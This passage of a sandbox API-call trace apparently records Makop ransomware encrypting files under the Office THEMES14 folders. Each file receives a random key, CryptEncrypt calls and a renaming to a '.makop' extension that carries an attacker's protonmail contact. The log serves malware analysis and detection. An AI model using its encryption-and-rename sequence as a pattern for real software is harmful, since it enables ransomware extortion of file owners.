lpNumberOfBytesRead=0x6576034*=0x1c2, lpOverlapped=0x0) returned 1 [0096.133] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1d0) returned 1 [0096.133] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.133] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1d0, lpOverlapped=0x0) returned 1 [0096.133] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.133] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.133] SetEndOfFile (hFile=0x138) returned 1 [0096.139] GetProcessHeap () returned 0x48a0000 [0096.142] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0096.142] GetProcessHeap () returned 0x48a0000 [0096.142] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.142] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0096.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.253] CloseHandle (hObject=0x138) returned 1 [0096.253] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0096.253] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0096.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.330] GetProcessHeap () returned 0x48a0000 [0096.330] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.330] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.330] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0096.422] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.422] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.422] GetProcessHeap () returned 0x48a0000 [0096.422] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.422] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.422] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.422] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.422] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.423] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.423] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.423] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.423] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.423] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaa2, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xaa2, lpOverlapped=0x0) returned 1 [0096.424] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xab0, dwBufLen=0xab0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xab0) returned 1 [0096.424] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.424] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xab0, lpOverlapped=0x0) returned 1 [0096.424] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.424] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.424] SetEndOfFile (hFile=0x138) returned 1 [0096.431] GetProcessHeap () returned 0x48a0000 [0096.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.431] GetProcessHeap () returned 0x48a0000 [0096.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0096.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.432] CloseHandle (hObject=0x138) returned 1 [0096.432] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0096.432] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0096.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.468] GetProcessHeap () returned 0x48a0000 [0096.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.468] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.468] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.468] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.511] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.511] GetProcessHeap () returned 0x48a0000 [0096.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0096.511] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0096.511] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.511] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0096.511] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.511] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.512] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.512] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.512] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.512] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.512] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.512] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa90c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa90c, lpOverlapped=0x0) returned 1 [0096.515] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa910, dwBufLen=0xa910 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa910) returned 1 [0096.515] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.515] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa910, lpOverlapped=0x0) returned 1 [0096.516] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.516] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.516] SetEndOfFile (hFile=0x138) returned 1 [0096.523] GetProcessHeap () returned 0x48a0000 [0096.523] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0096.524] GetProcessHeap () returned 0x48a0000 [0096.524] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.524] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0096.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.525] CloseHandle (hObject=0x138) returned 1 [0096.525] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0096.525] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0096.526] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0096.526] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON") returned 62 [0096.526] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*") returned 66 [0096.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0096.529] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.529] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0096.529] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0096.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.531] GetProcessHeap () returned 0x48a0000 [0096.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.532] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.532] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0096.532] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0096.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.538] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.538] GetProcessHeap () returned 0x48a0000 [0096.538] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0096.538] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0096.538] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.538] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0096.539] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0096.539] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0096.539] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0096.540] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0096.540] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.540] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaec9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xaec9, lpOverlapped=0x0) returned 1 [0096.542] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xaed0, dwBufLen=0xaed0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xaed0) returned 1 [0096.542] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.543] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xaed0, lpOverlapped=0x0) returned 1 [0096.543] CryptDestroyKey (hKey=0x48c7168) returned 1 [0096.543] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xaf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.543] SetEndOfFile (hFile=0x138) returned 1 [0096.569] GetProcessHeap () returned 0x48a0000 [0096.569] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0096.569] GetProcessHeap () returned 0x48a0000 [0096.569] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0096.569] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0096.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0096.570] CloseHandle (hObject=0x138) returned 1 [0096.570] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0096.571] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0096.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0096.573] GetProcessHeap () returned 0x48a0000 [0096.573] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0096.573] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0096.573] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, 